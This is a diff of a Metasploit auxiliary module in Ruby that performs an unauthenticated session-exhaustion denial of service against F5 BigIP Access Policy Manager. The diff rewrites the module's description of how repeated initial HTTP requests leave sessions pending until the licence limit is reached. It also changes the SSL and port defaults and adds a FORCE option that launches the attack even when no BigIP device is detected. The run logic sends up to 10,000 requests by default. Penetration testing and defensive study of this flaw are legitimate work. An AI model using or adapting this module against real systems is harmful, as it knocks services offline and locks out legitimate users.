@@ -11,14 +11,17 @@ class Metasploit3 < Msf::Auxiliary
11
11
12
12
def initialize ( info = { } )
13
13
super ( update_info ( info ,
14
- 'Name' => 'F5 BigIP APM Unauthenticated Session Exhaustion Denial of Service' ,
14
+ 'Name' => 'F5 BigIP Access Policy Manager Session Exhaustion Denial of Service' ,
15
15
'Description' => %q{
16
- An unauthenticated attacker can establish multiple connections with BigIP Access Policy Manager
17
- and exhaust all available sessions defined in customer\'s license.
18
- In the first step of BigIP APM protocol the client sends a HTTP request.
19
- The BigIP system creates a session, marks it as progress (pending) and then redirects client to access policy URI.
20
- Since BigIP allocates a new session after the first unauthenticated request and deletes the session only if an access policy timeout will be expired
21
- the attacker can exhaust all available sessions repeatedly sending initial HTTP request.
16
+ This module exploits a resource exhaustion denial of service in F5 BigIP devices. An
17
+ unauthenticated attacker can establish multiple connections with BigIP Access Policy
18
+ Manager (APM) and exhaust all available sessions defined in customer license. In the
19
+ first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP
20
+ system creates a session, marks it as pending and then redirects the client to an access
21
+ policy URI. Since BigIP allocates a new session after the first unauthenticated request,
22
+ and deletes the session only if an access policy timeout expires, the attacker can exhaust
23
+ all available sessions by repeatedly sending the initial HTTP request and leaving the
24
+ sessions as pending.
22
25
} ,
23
26
'Author' =>
24
27
[
@@ -33,31 +36,31 @@ def initialize(info = {})
33
36
'License' => MSF_LICENSE ,
34
37
'DefaultOptions' =>
35
38
{
36
- 'SSLVersion' => 'TLS1'
39
+ 'SSL' => true ,
40
+ 'SSLVersion' => 'TLS1' ,
41
+ 'RPORT' => 443
37
42
}
38
43
) )
39
44
40
45
register_options (
41
46
[
42
- OptPort . new ( 'RPORT' , [ true , 'The BigIP service port to listen on' , 443 ] ) ,
43
- OptBool . new ( 'SSL' , [ true , "Negotiate SSL for outgoing connections" , true ] ) ,
44
47
OptInt . new ( 'RLIMIT' , [ true , 'The number of requests to send' , 10000 ] ) ,
45
- OptBool . new ( 'IGNOREMISMATCH ' , [ true , 'Proceed with attack only if BigIP virtual server was detected' , false ] ) ,
48
+ OptBool . new ( 'FORCE ' , [ true , 'Proceed with attack even if a BigIP virtual isn\'t detected' , false ] )
46
49
] , self . class )
47
50
end
48
51
49
52
def run
50
53
# Main function
51
54
rlimit = datastore [ 'RLIMIT' ]
52
55
proto = datastore [ 'SSL' ] ? 'https' : 'http'
53
- ignore_mismatch = datastore [ 'IGNOREMISMATCH ' ]
56
+ force_attack = datastore [ 'FORCE ' ]
54
57
55
58
# Send an initial test request
56
59
res = send_request_cgi ( 'method' => 'GET' , 'uri' => '/' )
57
60
if res
58
61
server = res . headers [ 'Server' ]
59
62
# Simple test based on HTTP Server header to detect BigIP virtual server
60
- unless ignore_mismatch
63
+ unless force_attack
61
64
if server !~ /BIG\- IP/ && server !~ /BigIP/
62
65
print_error ( "#{ peer } - BigIP virtual server was not detected. Please check options" )
63
66
return
0 commit comments